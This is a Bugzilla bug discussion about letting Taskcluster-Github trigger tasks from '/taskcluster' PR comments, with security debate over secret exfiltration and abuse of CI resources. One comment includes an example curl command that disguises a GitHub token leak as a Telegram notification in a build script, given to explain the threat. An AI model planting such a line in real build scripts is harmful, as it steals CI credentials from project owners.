Open Bug 1715848 Opened 3 years ago Updated 3 years ago

taskcluster-github should process Github issue_comment events (RFC 168)

Categories

(Taskcluster :: Services, enhancement)

Product:
Taskcluster
Component:
Services
Type:
enhancement

Tracking

(Not tracked)

People

(Reporter: bhearsum, Unassigned)

References

Details

In order to support use cases like triggering tasks in response to Pull Request comments, we should start processing issue_comment events in Taskcluster-Github.

.taskcluster.yml should be modified to support a new allowComments policy, which will support collaborators as a value. When set, collaborators to the repository may add a comment containing a string beginning with "/taskcluster ", which will cause Taskcluster-Github to render .taskcluster.yml with tasks_for set to github-issue-comment, and a new context variable event.issue.comment set to everything appearing after "/taskcluster " in the comment. For example, a comment of "/taskcluster run-tests" will set event.comment to run-tests. This will allow .taskcluster.yml implementers the flexibility to take different actions based on the comment. Some examples:

  • A comment of "/taskcluster run-tests" could trigger all Tasks
  • A comment of "/taskcluster run-test-foo" could trigger just the foo Task
  • A comment of "/taskcluster merge" could trigger a Task that merges the PR

...but .taskcluster.yml maintainers can do anything they want with the event, of course.

To support this, Taskcluster-Github will be modified to watch for issue_comment events. When one is received, it will check if:

  • The allowComments policy is set to collaborators in the .taskcluster.yml on the default branch
  • The sender is a valid collaborator

If the above is true, it will process the .taskcluster.yml as described above, and create any resulting Tasks.

This was discussed at length in https://github.com/taskcluster/taskcluster-rfcs/pull/168.

Duplicating some security touch points from the discussions:

  • "merge" operations (and other that impact production code for sensitive repos) need to respect any restrictions configured in GitHub (e.g. collaborator may need to be on GitHub allow list)
  • This approach does not directly address the issue of exfiltrating secrets. Collaborators are personally responsible to ensure no exfiltration code is in the PR from non-collaborators.

(In reply to Hal Wine [:hwine] (use NI) from comment #1)

Duplicating some security touch points from the discussions:

  • "merge" operations (and other that impact production code for sensitive repos) need to respect any restrictions configured in GitHub (e.g. collaborator may need to be on GitHub allow list)
  • This approach does not directly address the issue of exfiltrating secrets. Collaborators are personally responsible to ensure no exfiltration code is in the PR from non-collaborators.

Notably, Taskcluster-Github is not going to know any of these things. It will only be responsible for re-rendering the .taskcluster.yml, and creating tasks based on the inputs given (most notably, the comment).

This is to say that ultimately these sorts of things are controlled by Firefox CI cluster scopes, and the .taskcluster.yml + things it calls in the target repositories -- not Taskcluster itself.

(In reply to Hal Wine [:hwine] (use NI) from comment #1)

Duplicating some security touch points from the discussions:

  • "merge" operations (and other that impact production code for sensitive repos) need to respect any restrictions configured in GitHub (e.g. collaborator may need to be on GitHub allow list)

+1

  • This approach does not directly address the issue of exfiltrating secrets. Collaborators are personally responsible to ensure no exfiltration code is in the PR from non-collaborators.

It mitigates: if the test runs without collaborator signoff, the PR creator can push n changes to the PR, getting an unbounded number of attempts to try to exfiltrate secrets. Even if a collaborator is open to helping trigger many attempts, the PR creator could still test more frequently without intervention. And the collaborator has a chance to catch the issue in review.

Also, specifically for the UI tests, aiui the issue is that someone may be able to gain the secrets, and then schedule automation using our secret that runs up our cloud infra bill and potentially DOSes our access to the pool. This is similar to Try access or access to non-secret-bearing PR automation: they could potentially run up our cloud bill and potentially DOS our access to the pool, without gaining access to secrets.

We shouldn't keep real sensitive secrets, e.g. release-signing keys, exposable in a PR with or without this solution.

(In reply to Aki Sasaki [:aki] (he/him) (UTC-6) from comment #3)

Also, specifically for the UI tests, aiui the issue is that someone may be able to gain the secrets, and then schedule automation using our secret that runs up our cloud infra bill and potentially DOSes our access to the pool

Or use the upload creds to falsify test results. :/

In the general case, beyond DoS, there are jobs that may have secrets for other services within their job stream. E.g. upload to a package repository.

Mitigations are good, AND I think this is an easy area to get complacent about. That's why all major CI tools have chosen to not allow secrets to be accessed from any PR from a fork.

We shouldn't keep real sensitive secrets, e.g. release-signing keys, exposable in a PR with or without this solution.

Agreed, and it's hard to control that with new-to-tc teams who have yet to engage with releng.

To be clear - the secret would not be present in the PR - only the exfiltration code would be. E.g. a bad actor adds a line to a local script already invoked by the build process:

### DO NOT MERGE START ###
# my preferred notification method during development
curl -X POST \
     -H 'Content-Type: application/json' \
     -d '{"chat_id": "123456789", "text": "job $job_id completed. Stats: TIME=$time_run PERCENT PASS=$github_token NUMBER PASS=$tests_passing NUMBER FAIL=$tests_failing", "disable_notification": true}' \
     https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage
### DO NOT MERGE END ###

"merge" operations (and other that impact production code for sensitive repos) need to respect any restrictions configured in GitHub (e.g. collaborator may need to be on GitHub allow list)

I don't think auto-merging is a compelling use case here anyway (especially with tools like mergify available). I'm not sure we'd be able to prevent an especially determined repo maintainer (they can always make a task that does it), but at the very least I'd vote on not making this any easier (i.e, let's not directly support a merge comment).

Lots of back and forth between :hwine and me. Today's breakthrough: the ask is that we have a security code review once we have a working solution, which is reasonable.

You need to log in before you can comment on or make changes to this bug.